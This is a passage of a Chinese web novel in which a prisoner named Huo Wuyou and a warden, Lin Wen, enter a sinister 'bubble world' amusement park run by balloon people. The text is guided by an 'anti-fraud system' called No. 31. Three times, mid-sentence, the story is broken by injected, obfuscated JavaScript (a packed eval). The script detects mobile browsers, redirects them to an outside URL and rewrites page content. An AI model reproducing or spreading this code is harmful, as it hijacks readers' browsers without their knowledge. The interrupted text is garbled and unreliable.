“女士,”4042平静地望向霍无忧,“你认为,那个出现在十三层的黑洞,是世界破了个洞,需要弥补,还是我们所在的地方本来就是虚假,而这份虚假是被那个洞给戳破了呢?” “女士,”4042再次露出一个意味深长的笑容,“你认为那个黑洞究竟是一个洞,还是什么漆黑的物种爬上了那扇门制造了一个破洞的假象呢?或者女士,你认为我们现在所在的世界究竟是真实的,还是一个骗局呢?” 4042话音落后的瞬间,沉寂许久的反诈系统31号忽然给霍无忧弹出一条标红标粗任务信息: 【检测到玩家霍无忧正处于打破骗局的关键时刻,反诈系统已自动为您生成任务目标—— 编号4042囚犯的骗局,狂欢乐园。 骗局等级:S+ 破解骗局后可获得玩家积分:150000 可获得贡献点:150000 请问玩家霍无忧是否接受任务?】 下一秒,反诈系统面板上就出现了是和否的选项。 霍无忧没有立刻着急同意接受任务,因为她首先要确定,所谓的任务到底是什么,面板上只有一些信息,没有具体的任务详情。 昨天绑定反诈系统的时候,31号就说过,只有在关键时刻,霍无忧才能让31号为她判断她当前所处的骗局环境,辨别最有利于霍无忧的一种选择。 这个“是”和“否”也算在31号可以辨别的选择里吗? 以及,系统积分和贡献点霍无忧都知道是什么意思,系统积分就是绑定了反诈系统的玩家需要积累,参与排行的一个分数,贡献点是现在这个大陆上唯一通行的电子货币。 但骗局等级是什么意思,霍无忧并不知晓。 “S的意思是这个骗局很危险?”霍无忧尝试猜测。 “霍无忧,你很聪明,S的意思的的确确是这个骗局难以打破,而S+比S更加困难,你从来没有进过骗局的世界,很难能从S+级别的骗局里走出来。” 31号继续解释道:“骗局等级从F到S,一共有F,E,D,C,B,A,S七个等级,此外一个等级包含三个衍生等级,比如S级就包括S-,S和S+三个等级。” 31号话音刚落,霍无忧就冷笑一声:“也就是说,我连新手关卡都没过,现在就得立刻面对地狱级难度的高强度关卡,对吗?” “这都是看运气的,霍无忧,你遇到的4042受骗程度太重了,所以反诈系统才会告诉你,你进入的是S+等级的骗局。”31号说。 “那如果我不进这个骗局,直接选‘否’,会有什么后果?”霍无忧嘲讽一笑,她都能猜到31号下面说的话有多冷漠了。 31号:“选否的话,你就会直接变成4042的养料,彻底失去自我。” 也就是说,霍无忧毫无选择可言。 “你运气不好,霍无忧。”31号说。 霍无忧“嗯”了一声,似乎很轻易地就接受了自己毫无选择,受人胁迫的事实。 只能说幸运的是,从小到大,霍无忧从未相信过自己的运气。 “任务是什么?”霍无忧问出了最关键的问题。 “打破骗局。”31号回答。 霍无忧深吸一口气,抬手在“是”的选项上摁了一下。 还没等霍无忧反应过来,一阵刺眼的白光闪过,不知道是谁在她耳边“啵”了一声,等霍无忧再次睁开双眼时,她已经站在一个到处充满着泡泡的乐园世界里了。 “每一个骗局都是一个泡泡,游乐园里虽然漂浮着许多泡泡,但或许,整个游乐园也只不过是另外一个世界制造出来的,一个大一点的泡泡而已,霍无忧。”31号尽职尽责地为霍无忧介绍所谓骗局里的一切,霍无忧往前走一步,它便说一句话。 “所以我要做到什么,完成什么样的任务,才能破解骗局得到奖励?”霍无忧看着这个梦幻一般,响彻八音盒的纯音乐的游乐园,只觉得自己好像来到了另一个世界。 “你只需要戳破泡泡,霍无忧。”31号是个毫无礼貌的系统,不知道是不是因为已经逐渐和霍无忧熟络起来,她再也没叫过霍无忧“您”或者“霍无忧女士”。 霍无忧蹙眉,她倒是不在乎31号是否礼貌,只是31号的这个回答有点过于抽象。 什么叫戳破泡泡? 泡泡那么脆弱,把它戳破有什么难度?霍无忧一边思索一边往前走,还没走几步,就又听见了一个熟悉的声音。 “这里是什么地方?” 霍无忧猛地转过身,只见林雯有些头疼地揉了下脑袋,她竟然也跟着霍无忧来到了这个所谓的狂欢乐园。 霍无忧下意识要去问31号原因,但她还没来得及问,31号就已经开始回答问题: “她不是也感染病毒了吗?霍无忧。”31号说。 意思是感染了病毒的人也可以进入所谓的泡泡世界? 泡泡世界就是骗局的具象化,感染了病毒的人,难不成也是受骗或者受骗而不自知的人? 那个黑洞该不会也是个骗局吧? “林雯绑定反诈系统了吗?”霍无忧问。 “这属于玩家隐私,除非林雯主动告知,不然我是没有资格告诉你的。”31号回答。 霍无忧眯了下眼睛,31号不再继续说话。 又过了一会儿,霍无忧才回答林雯:“我们在一个泡泡世界里。” “泡泡世界?你在读童话故事书吗?”林雯挑眉。 好了。霍无忧想,林雯没有绑定反诈系统,她连泡泡世界是什么都不知道。 虽然霍无忧也是刚刚才知道的泡泡世界,大概就是一个受骗的人在感染病毒之后会形成的一种异世界。 “没时间解释了,我们必须抓紧时间离开这里,这里很危险。”霍无忧不想把时间浪费在无用的事情上,她现在需要和林雯联手。 而且她还需要林雯活着,极地监狱里的事她还需要林雯帮她。 林雯只能压下心中的疑虑,她虽然很想刨根究底,但她也知道现在的时机不对:“所以我们做什么才能该出去?” 霍无忧:“戳破泡泡。” 林雯:“?” 林雯:“你还真在讲童话故事。” “这里是4042的泡泡世界,你和4042熟悉吗?她有没有什么特别的地方?或者说,你知道她是怎么入狱的吗?”霍无忧虽然也还迷茫着,但她还算清晰地知道,要戳破泡泡肯定要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342951|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在4042身上找答案。 林雯仔细思考了一下,又猛地摇了摇头,“4042是前两年才来的极地监狱,我跟她不算熟悉,至于她有什么特别之处,或许就是,她是因为做违禁实验才入狱的?” 违禁实验? 霍无忧了然。 “不过,既然这里是4042的世界,我们找到4042问她,或者杀了她,不就行了?”林雯一边真诚发问,一边观察周围的环境。 这个乐园涵盖的区域似乎很大,包含了几乎所有能够在一个正常的游乐园里看到的,所有的游戏项目,包括但不仅限于过山车,海盗船,跳楼机,鬼屋这些刺激项目。 只是这里除了霍无忧和林雯,竟然一个游客都没有。 “4042!”林雯大声呼唤4042的名字。 她采用了最寻常的找人方法,霍无忧对此嗤之以鼻,她不愿意像林雯那样浪费时间,而是直接来到购票处,找线索或许比找人更重要。 4042的泡泡世界肯定是和4042本人有直接关联的。 而出乎意料的是,购票处里竟然有人。 或者说,购票处里坐着一个由不知道多少个,被吹得非常大的,似乎下一秒就要爆了的气球组成的气球人。 气球人兢兢业业打工,听到窗口外传来的动静才抬起头,用马克笔画在气球上的线条五官微笑着注视霍无忧。 “你好——”霍无忧话音未落,气球人毫无耐心地打断她。 “二十四个小时内,提高自己的快乐值,否则,恐怖的事情即将降临到你们身上。”气球人言简意赅地递给霍无忧两个黑色的手表,其它的话,气球人不乐意再继续说。 霍无忧半信半疑地接过手表,下一秒,售票处的窗口便被气球人无情关上。 霍无忧甚至还能听见气球人在售票处内做出每个动作,压迫自己身上的气球时,发出的“伊伊啊啊”的,诡异的摩擦声。 手表的小屏幕亮起刺眼的白光,狂欢乐园的字样出现在霍无忧眼中,紧跟着,上面的字变成了一个二十四小时的倒计时,在倒计时下面还有一行小字:当前快乐值0。 快乐值是什么?又是用什么计算的? 霍无忧用力揉了一下脑袋,下一秒,林雯快步走到她面前,问她:“你找到什么了?” “手表,”霍无忧垂眸,“我们需要积攒上面的快乐值。” “不然呢?”林雯拿起摊在霍无忧掌心的其中一个手表,不以为意地甩了一下。 “不然会发生一些恐怖的事,”霍无忧顿了一下,“我见到了一个气球人,它是这么告诉我的。” 游乐园里还响着八音盒里才会有的,如梦境一般的音乐,霍无忧抬头看向游乐园的天空,这里的蓝色饱和度不高不低,像糖果厂里制造的浅蓝色,现实里的蓝天会有这样的颜色吗? 霍无忧不知道,霍无忧已经很久没有看过天空了。 首都监狱是全封闭式的监狱,那里连窗户都没有,普通人进去被关几个月就差不多疯了。 霍无忧怀念还能看见天空的时光,她仰着头,对林雯说:“我有一个大胆的想法,你想赌一把吗?林雯。” “什么想法?”林雯还觉得自己在做梦,或许4042是个会催眠术的罪犯也不一定呢? “你积攒快乐值,我不积攒,让所谓恐怖的事情只发生在我一个人的身上,控制变量法,看看这个泡泡世界会对我们两个人做什么,你觉得怎么样?” 霍无忧挑了挑眉,她有些兴奋:“要不要赌一把?” 5. 狂欢乐园(二) 霍无忧习惯赌。 但最后到底是能赌赢还是会赌输,一般来说,霍无忧都是靠运气。 可惜的是,霍无忧是个运气极差的人,所以最后的结果大多会是个输。 林雯很少做自己不确定的事,当然,她在监狱里也很少会发生这种让她不确定的事。 不过现在林雯既然都感觉自己在梦里的世界了,就算赌一赌好像也无妨,她看向霍无忧,问:“赌输了怎么办?” “凉拌,”霍无忧不合时宜地开了个玩笑:“我这一生体验过许多事,经历过许多冒险,但还没体验过死,或许今天我就要在这个所谓的异世界体验一下死亡的感觉,你体验过死吗?林雯。” 一阵沉默,林雯蓦地冷笑一声:“没体验过,而且这个笑话也不好笑,你不会死在这儿,霍无忧,你去积攒快乐值,我做那个什么都不做的人,首都那边给了我任务,她们在你的身体里植入了监测系统,一旦监测到你死了,极地监狱就完了,我也就完了,所以我必须死在你前面。” 这话终于印证了霍无忧的某个猜想,上面果然对极地监狱也有施压。 联盟不会让霍无忧死。 联盟里的那个人更不会。 霍无忧垂下眼帘,她不会拒绝林雯的条件,谁不想多活一会儿呢? “看来,你对极地监狱有很深的情感。”霍无忧打趣道。 “因为这里曾经是我的家,我的母亲是一名科考站研究员。”林雯平静地说。 霍无忧不再在这个无聊的话题上继续,继续下去霍无忧也只会听到一个悲伤的故事何况,她们也没有时间闲聊了。 “你有把握让我们两个人都平安出去吗?”林雯忽然又来了这么一句。 霍无忧仔细思索了一下,才回答林雯:“有。” “你就不能斩钉截铁一点?我马上就要先死了,你都不能给我一准信吗?”林雯笑了一下,这个霍无忧还蛮有意思的。 至少比首都那群贱/人有意思。 “我是仔细思索了我们一起平安出去的可能性,以及我们会遇到的一些危机,衡量了一下我们和那些可怕的气球人的实力差距,才回答的你,”霍无忧深吸一口气,“我觉得,我们并不比那些气球人弱,所以才会回答你,我们可以出去。” “你怎么就能确定我们不会比那些气球人弱?”林雯很好奇,霍无忧的思考逻辑是怎么形成的,林雯没有见到那个气球人,她对“气球人”这个概念都是从霍无忧的口述中得到的。 林雯很难想象一个人身体所有的部分都是用气球组成的,这样的人要怎样呼吸,怎样说话,怎样行动? 这太荒谬了。 虽然她现在所在的地方也十分荒谬,但林雯也必须荒谬地想象,气球人会怎么对她们两个外来入侵者进行攻击。 这样的怪物势必会拥有强大的力量,林雯庆幸自己在极地监狱每天都会进行体能训练,霍无忧一看就是个手无缚鸡之力的人,只会拖她后腿。 那边林雯已经开始在脑子里模拟和气球人的战斗了,这边的霍无忧还并不觉得有什么可焦虑的,她平静地对林雯说:“你觉得是气球容易被戳爆,还是人的血管容易被戳爆?一个气球如果对我有威胁,那我就用针把它弄破不就好了?” 林雯没料到霍无忧说的话会这么通俗,她愣了一下,不可置信地反问:“啥玩意儿?” “听不懂人说话?”霍无忧也无所谓地反问。 林雯:…… “反正我只有一种感觉,这里的平和都是假的。”林雯说。 霍无忧“嗯”了一声,“你说了一件正常人都能发现的事。” 林雯:………… 霍无忧没有理会林雯的无语,继续向林雯诉说她的计划:“我打算先坐一下旋转木马,或许快乐值是需要通过体验这里的游戏项目才能进行积攒。” “但你真的要去玩那个旋转木马吗?”林雯有些慊弃地看向正在运行的旋转木马,那些马一看就已经年久失修,它们被雨水侵蚀到连眼珠都看不见颜色了。 虽然大体看起来,这些旋转木马还是挺可爱无害的,但林雯不觉得霍无忧坐上去,这些东西还能无害。 林雯话音刚落,正准备再劝劝霍无忧去坐更无害的摩天轮,这边刚才还站在她身边的霍无忧就已经消失了踪影。 林雯左看右看,过了几十秒才发现,霍无忧不知道什么时候已经坐上了旋转木马,她看向还站在旋转木马外的林雯,平静地说:“我的快乐值在上涨了。” “真假?那你现在快乐吗?”林雯问。 霍无忧仔细思索了一下,又道:“一般般。” 有时候林雯真的想把霍无忧的嘴巴撬开,看看里面到底是个什么构造,快乐就是快乐,不快乐就是不快乐,什么叫“一般般”? 有点快乐又有点不快乐?到底是什么样的人才会有这种模棱两可的情绪? 林雯长叹一口气,看着霍无忧在旋转木马上转了一圈又一圈,直到第十三圈,旋转木马终于停下,霍无忧的快乐值也涨到了100,再也没有浮动过。 “你下一个要坐什么?”林雯已经彻底放弃思考霍无忧的脑子里到底装了什么。 或许首都那边传来的消息真的没错,霍无忧是个怪胎,林雯和温念尘只需要配合她,完成所谓的,弥补者的任务就可以了。 世界都破了个洞了,还有什么更加不可思议的事会发生呢?泡泡世界都没有世界破了个洞不可思议。 “摩天轮。”霍无忧回答完林雯的问题,便径直朝那座亮粉色的摩天轮走去。 林雯依旧在外面等她。 摩天轮内部的陈设比外面看起老来旧很多,生锈的铁皮都已经露出来大半,像被剥了皮的人肉,火辣辣地暴露在冰冷的空气中。 霍山漪还没有坐上去,摩天轮每个小箱子外大肆敞开的门就已经诉说了里面的不一般。 这看起来比旋转木马还恐怖。 林雯决定收回自己刚才认为摩天轮更无害的想法,并且认为自己不去积攒快乐值,从某种意义上来说,也是正确的。 霍无忧上前一步,一阵风朝她吹过来,她闻到了一股新鲜的苹果的味道。 冷。 好冷。 霍无忧终于意识到,为什么这个狂欢乐园总是给她一种十分矛盾的感觉了。 这里所有的建筑外表都是用暖色调的油漆刷过的,只远远望去就能给人一种温暖的感觉。 但这里的温度却很低。 脑机系统告诉霍无忧,现在狂欢乐园的温度持续在10°左右。 初冬或者暮秋才会有的温度。 只穿一件风衣确实有点冷。 霍无忧很怕冷,因为之前为了一项实验数据,她在雪地里被冻晕过去了,醒来差点被截肢。 她望向摩天轮的最高处,随后毫不犹豫地进入在她面前慢慢悠悠停下来的小箱子面前。 这一次,她依旧在摩天轮上坐了整整十三圈,才被摩天轮放下来,同样的,手表上显示的快乐值停在200的数值,不再浮动。 “等等,如果每一个项目都必须坐十三次的话,那海盗船,过山车这些刺激的项目是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342952|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是你都要被迫坐十三次才能离开?那你不直接死在上面了?”林雯难以置信,“不是,这设置得也太没有人性了。” “什么是人性?”比起其它什么死不死,怕不怕的,霍无忧更在乎的是林雯口中的“人性”。 这是个沉重的词。 “当然是善良宽容正直大方,这个世界上所有具有正面意义的词汇都是人性!”林雯没好气地回答道:“霍无忧,你现在表现得也太平静了吧!你就不怕死吗?!” 霍无忧似乎在仔细思索林雯问她的问题,最终她才郑重其事地回复这位极地监狱的典狱长:“怕。” “那你做出一点害怕的反应来啊!”林雯简直要被霍无忧这样毫无人性的人给气疯了。 “做出害怕的反应就可以不去死吗?”霍无忧反问道。 “不会。”林雯说完,霍无忧便没有再回复她。 没有用的事,霍无忧会尽量不去做,她希望自己做个有用的人,有用的人才能做有用的事,而有用的事,才是正确的事。 那个平白无故出现在极地监狱的洞,不,不会有东西是平白无故出现的,总之,霍无忧把那个洞称之为这个世界的错误,弥补者,也不过是要去弥补这个错误而已。 “我要去海盗船了。”霍无忧走向那艘空荡荡的,却还在不停发出“伊伊啊啊”的声音的海盗船。 林雯只觉得和霍无忧沟通困难得她快疯了,她现在只想快点出去,让温念尘仔仔细细给霍无忧的脑袋做一个全面检查,看看里面究竟是大脑,还是草履虫。 感知到霍无忧的脚步,原本还在运行的海盗船忽然停下,林雯一阵脊背发麻,猛地停下脚步。 霍无忧倒是不怕这些虚的,但直到她坐到海盗船正中央,她才发现,这个海盗船,竟然没有一点安全措施,连最基本的安全带都没有。 林雯也察觉到了不对,她上前一步就想把霍无忧从海盗船上拉下来,但海盗船的门“砰”的一声,好像被什么人大力关上了一样,将林雯无情地挡在外面。 此时此刻,整个游乐园回荡着欢快的,八音盒的音乐,但除了林雯和霍无忧,这里空无一人。 林雯深吸一口气,对霍无忧大喊:“抓住前面的把手!不要松开!就算再害怕都不要松开!” 林雯一边说,一边看着海盗船启动,她到处看了一圈,把目光锁定在旁边的控制室里。 里面有人。 不,不能说是人。林雯想。 她只是不经意间瞥了一眼,就和一双用马克笔画出来的,二维世界的眼睛对上视线。 坐在控制室里的,是一个全身上下都被快要吹爆的那种气球组成的人。 霍无忧口中的气球人。 与此同时,开始启动的海盗船在第一次升空时就已经马力十足,用了最大功率,霍无忧甚至能够听见,承载着这艘海盗船的几根柱子在海盗船发动时,摇摇晃晃地发出快要坍塌的声音。 “嘎吱——” “嘎吱——” 霍无忧只能紧握住前面的把手,而在海盗船上升到最高点的时候,霍无忧忽然觉得,自己好像又闻到了那股熟悉的味道。 她刚进极地监狱的时候,莫名闻到的,一股新鲜苹果的气味。 下一秒,她就看见,她那被风吹起的衣袖下的手臂,不知道什么时候出现了一个漆黑的圆洞。 这一切林雯都看不见,她只是站在控制室外,用打量的目光看向控制室内的气球人。 “你好,”气球人歪了下脑袋,用温柔的声音对林雯说:“请问有什么可以帮助您吗?” 6. 狂欢乐园(三) 文明对高处的恐惧,来源于文明第一次站到高处俯瞰的时候。 而克服这样的恐惧,只需抬起头仰望星空。 在海盗船第一次达到高处的顶点时,霍无忧终于真正意义上抬起了头。 天空依旧是漂亮的,极其不真实的淡蓝色,但也就眨个眼的时间,霍无忧再睁眼时,天空竟已完全被一层层浓郁的血雾覆盖,好像进入了生化危机的某个实验室一样。 但直到霍无忧第二次争眼闭眼,周围的一切又都重新恢复了原来的样子,八音盒欢快的音乐依旧清脆地响着,但霍无忧只觉得越听越诡异。 下一秒,霍无忧看见在她对面的座位上凭空出现了一个穿着黑色长风衣的人。 只是在黑色的风衣之下,没有正常的人类躯干和骨骼。 只有一个个被胀到极大的气球组成了一个气球人。 “嘎吱——” “嘎吱——” “霍无忧,”31号的声音就在霍无忧的心跳声逐渐加快时,蓦地在她脑海中响起,“你现在进入了进到狂欢乐园之后的第一个关键时刻,接下来你将进行一个,会影响到你和林雯能否安全出去的关键选择,当然这也是戳破泡泡的关键之一。” “所以戳破泡泡的方式也和系统能够提供给我的选择有关?”霍无忧第一次觉得这个世界有点荒诞。 所谓的命运居然掌握在一个系统的选择里吗? “是的,霍无忧,”31号已经彻底放弃了它那点可怜的礼貌,“这就是废土反诈系统最绝妙的地方,你的人生其实就在你的一次次选择里,不然你以为反诈系统只是给你提供一个可以赚取贡献点的平台?这也太废物了,贡献点哪儿都能赚,但能见到神,改变命运的机会可不多啊。” 31号顿了一下,“不过这也是得益于你刚刚在狂欢乐园里见到了真正的,4042号的灵魂,每一次见到受骗者的灵魂,都是在进入一次关键时刻,进入关键时刻我才能触发反诈骗机制,给你提供关键的选择,戳破泡泡。” “这就是反诈系统的运行机制,现在,我要给你两个选择,霍无忧。” “一是,停止积攒海盗船的快乐值,立刻离开海盗船,保证自己的人身安全;二是,继续积攒快乐值,但你有百分之九十的概率会因为海盗船年久失修而从高空坠落死去。” 听完31号的话,霍无忧没有第一时间做出选择,而是觉得有些好笑,现在这样的情况,和旧世纪的文字游戏又有什么区别?文游不就是玩家通过做出选择加成属性,从而达成不同的故事结局吗? 恐怕其中最大的区别就在于,霍无忧不是虚拟人物,而是一个真切的人,她在选择自己的命运,还不能存档。 海盗船没有停下,霍无忧依旧能听见它不堪重负地发出“嘎吱”的哀鸣,坐在霍无忧对面的气球人用二维的眼睛看向霍无忧。 那股新鲜的苹果的味道更浓郁了。 “我选二。”霍无忧有些疯狂地想,或许她既然有百分之十的概率存活,那为什么不赌一把?何况31号说了,坐在霍无忧对面的气球人,就是4042的灵魂,狂欢乐园这个大泡泡世界的主人。 “这个选择并不明智。”31号说。 “你只是说它不明智,没说不正确,”霍无忧勾起唇角,“我就算真的从海盗船上摔下去也不一定会死,不是吗?” 31号:…… 31号:“你真是个疯子。” “你好像很不想让我死,”霍无忧反问道:“是首都那边的人给你下了命令,让我不能死吗?还是,你有自己的私心?” “我和首都那群人没关系。”31号不否认它其实有不想让霍无忧死去的私心,但它究竟为什么会有这样的私心,31号看起来并不想提起。 当然霍无忧也没有再继续追问的意思。 这个时候,霍无忧才平静地望向坐在她对面的4042的灵魂。 4042的灵魂是一堆气球。 灵魂到底是怎么样的存在?它真的紧紧依附在人的身体上吗? 霍无忧有许多疑问,但最后,千言万语都只化作一句:“没有人告诉过你,气球很容易就爆了吗?” 因为有点恐高,所以霍无忧挑选的位置在海盗船的最中心,4042就在她前面一排的位置,只要霍无忧伸手,就能触碰到4042。 “女士,我只是想让妈妈爸爸带我来游乐园玩而已。”4042不知道在用什么器官说话,她的声音遥远空灵,像是从地下传来的,但霍无忧又觉得她的声音没有那么远。 霍无忧在运行的海盗船上站起身,摇摇晃晃地,艰难地维持平衡。 在4042说出下一句话之前,霍无忧伸出手抓住4042的脸,然后慢慢收紧力道。 “砰!” 一声骇人的巨响在空气中响起,4042的脸已经被霍无忧捏爆了。 但爆出来的确并不是气球皮,而是一张爆破过后的人皮,黏糊糊地搭在霍无忧的虎口上。 霍无忧手表上的快乐值正在不断上升,从200到400,再到600,再到800,数值一时紊乱,不知道受了什么刺激,最后变成了三个问号。 紧跟着,空气开始不断变臭。 像是堆在仓库里十几年无人看管的,气球的塑料味,混合着一股股难闻的油漆味。 那股苹果的清香几乎快要消失了,或许它也没有消失,只是其它的味道把它掩盖住了。 霍无忧后退一步,跌坐在海盗船的座位上,没了头的4042依旧安安静静地坐在她的对面。 天空再也没有展现出那点淡奶油一样漂亮的蓝色,而是不断被不知从何而来的血雾层层叠叠覆盖起来。 海盗船还没有转到第十三圈,所以还不能停下,只是在下一次它到达顶点的时候,它却没有再下坠,而是直接翻过顶点,霍无忧反应很快,她抓住把手,在身体因为海盗船倒吊而即将坠落之前。 然而下一秒,一滴猩红的血液滴在霍无忧的脸上,她顺着血液的来源去看,只见她正抓着的把手的顶端,正不断地渗出鲜血,从霍无忧苍白的指缝中流走,最后滴落在地。 “林雯!”霍无忧眼见事情有些不对劲,不得不去求助她在这里唯一的帮手。 如果她从这个高度掉下去,有一点遮挡物或许会有存活的可能性。 死到临头,霍无忧的心跳竟然还越来越平静了,她擅长把所有的事都搞砸。 但是林雯没有回答她。 海盗船就这样保持倒吊的姿势悬停在半空中,霍无忧深吸一口气,试探性地往下看了一眼。 林雯就站在她目送霍无忧上海盗船的地方,她的眼神有些惊恐,但她一张口,一个气球就开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342953|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她嘴边开始张大,只有她闭上嘴吧,气球才会消失。 霍无忧愣了一下,她的脑子里还在处理林雯也在逐渐变成气球人这件事,还没等她反应过来,她就感觉她抓住的海盗船把手似乎也发生了一些变化。 她的手掌已经开始出汗了,皮肤,汗水,把手,三者摩擦发出了十分古怪的声响。 但霍无忧是听过这个声响的,在进入狂欢乐园之后。 在她见到第一个气球人的时候,气球与气球之间的摩擦就会出现这样,像即将被杀死的鸭子一样的惨叫声。 霍无忧抓着的铁把手变成了一个长条状的气球。 但她并不害怕,甚至于,她已经有了另外一个想法。 林雯依旧在底下担忧地看着霍无忧,霍无忧却忽然笑了一下,在林雯惊恐的注视中,霍无忧捏爆了她手上这个已经变成气球的把手。 “砰!” 一声巨响,整个海盗船竟然都在空中炸开,只是炸飞出来的不是气球皮,而是已经干瘪的人皮。 林雯下意识摊开双手,去接从空中坠落的霍无忧,只是她还没来得及,霍无忧就已经坠落到地面。 没有血,没有骨头碎裂的声音,甚至没有一点伤口。 霍无忧安全地落到地面,像气球一样被弹了起来,好端端地站在了林雯面前。 “这太神奇了,林雯,我从来没到过这么神奇的地方,你敢信吗?我变成了一个气球,你也变成了气球。”霍无忧有些兴奋地说。 林雯不能说话,她只要一张口,一个气球就会从她的嘴巴里出现,每说一个字就会长大一点。 但就算她现在不说话,霍无忧也能猜到她想说什么。 “你想说我疯了吗?”霍无忧勉强平静下来,但她的语气依旧十分激动,“我没疯,林雯,我只是觉得,我好像真的离神祇很近了。” 这样鬼斧神工的作品,只有神祇才能创造出来。 人类灵魂的具象,或许就在那个黑洞里,或许就在那被认为有害的传染病病毒里。 人类可以创造文明,创造游戏,在游戏里实现这样的场景,但只有神祇才可以创造这样的文明。 反诈系统的奖励不是没有道理的,霍无忧想。 “确实离神很近了,”林雯实在忍不住了,就算她一开口就会有气球出现在她嘴里,她也要说:“但你离人很远了,你个神人。” 霍无忧:…… 被林雯猝不及防地泼了一盆冷水,霍无忧委屈巴巴地低头看了一眼自己的手表,上面的快乐值在霍无忧离开海盗船后变成了444。 一个很不吉利的数字。 霍无忧终于转移了话题,她语气平静,看起来又和林雯最开始见到她的时候一样毫无人性了,“我刚刚在海盗船上见到4042了,我们有过一些友好的交谈,她说她只是想让妈妈爸爸带她来游乐园玩。” 林雯睁大眼睛,“你找到出去的方法了?” “那倒没有,”霍无忧笑了一下,“不过,我有一个绝妙的想法,不知道你愿不愿意和我一起实践一下。” “什么想法?”林雯有一种不好的预感。 “我现在不是变成气球了吗?既然是气球,如果我把自己给戳爆了,会发生什么?” 霍无忧的眼中隐隐约约透露出一丝诡异的兴奋,“怎么样?你愿意吗?” 7. 狂欢乐园(四) “不愿意。” 林雯真是觉得霍无忧脑子有病。 什么人喜欢把自己往死里整?这不是有病是什么? “你坐上海盗船之后,在去这里的控制室看了一眼,控制室里也有你说的那种气球人,但也和你说的一样它们很脆弱,我随便戳了它们一下,它们就爆了。”林雯开始讲述自己在狂欢乐园得到的线索。 当然,她其实略过了比较血腥的部分。 比如她是把气球人全身上下所有的气球全部弄爆了,看见那像鸡皮一样的人皮爆得到处都是,她在这些人皮中寻找线索,也想过把人皮拼凑起来,看看能不能拼凑成一个完整的人,但她失败了。 林雯的空间想象能力和人体学知识储备几乎为0。 于是她转而去看控制室那些稀奇古怪的机关。 “我本来是想让海盗船的速度变慢一些,或者停下来,”说到这儿,林雯勾起唇角,又拼尽全力想把嘴角压下去,“但我失败了。” “你按了什么?”霍无忧眯了下眼睛。 “我按了个蓝色的按钮。”林雯深吸一口气。 这个时候她又委婉起来了。 “然后呢?”霍无忧扯了下嘴角。 “然后海盗船就疯了一样开始加快速度,最后变成了倒吊在空中的样子。”林雯十分诚实。 “你他爹的有病是吧。”霍无忧歪了下头,她语气平静,但是个人都能看出来她现在有多无语。 “我没有,我很健康,我上周才在温念尘那里做了检查,每一项身体数值都是超级棒!”林雯自豪地说。 虽然身体健康确实是值得骄傲的事。 霍无忧冷笑一声,这个时候她也明白了,她最后其实完全不用受担心从海盗船上摔下去的那种苦,如果不是林雯,她也不会有差点在海盗船上被吓晕的体验。 “你也是个人。”霍无忧脸上的笑容彻底消失。 “我当然是人。”林雯理直气壮。 霍无忧懒得和她争论,再次转移了话题,“你觉得为什么我们会忽然变成气球人?我们最开始进来的时候,一定还是正常的人类。” “是不是因为我们在这个狂欢乐园待得太久了?”林雯猜测。 她现在已经习惯说话的时候嘴里有个气球了。 “不太像这个原因。”霍无忧回答。 如果真的是因为进来得太久,被这个狂欢乐园同化了的话,那为什么只有林雯嘴里会生长气球,霍无忧不会? 此外,4042出现在海盗船上的时机也耐人寻味,霍无忧坐旋转木马和摩天轮的时候,4042都没有出现,偏偏在坐海盗船的时候出现了。 “而且你看,霍无忧,这个世界现在弥漫着这么浓郁的血雾,会不会我们一开始见到的就不是真实的狂欢乐园,而是一层美丽的幕布,这个弥漫血雾的狂欢乐园才是真正的狂欢乐园?” 林雯说完,又继续问:“你说这里是个泡泡世界,4042的泡泡世界,我暂且先不问你是怎么知道的这一切,光听‘泡泡世界’这个名字,不就是一个被人创造出来的用来制造臆想的名字吗?” “或许这里就是一个骗局。”林雯忽然觉得自己是个天才。 霍无忧赞同地点了点头,虽然林雯的推断可以说是毫无用处。 “31号,我有一个问题,泡泡世界会遵循现实世界的逻辑吗?”霍无忧转而就碍事从31号身上寻找答案。 这个问题应该算是问对了,因为它让31号沉默了将近三分钟。 三分钟后,31号才组织好语言,回答霍无忧:“或许会,或许不会,泡泡世界有自己的运行规则。” “所以这里发生的一切都是遵循泡泡世界本身的逻辑,不会无缘无故出现一些无法解释的现象,是吗?”霍无忧继续追问。 “是的。”这个问题31号回答得很果断。 她们只能在脑海里交流,为了避免消耗霍无忧的精神力,31号一般不会说多余的话。 “你会骗我吗?”霍无忧又问。 “不知道。”31号几乎是立刻回答了霍无忧,但它回答的内容却是模棱两可的。 不知道?霍无忧想,难不成系统还会说谎? 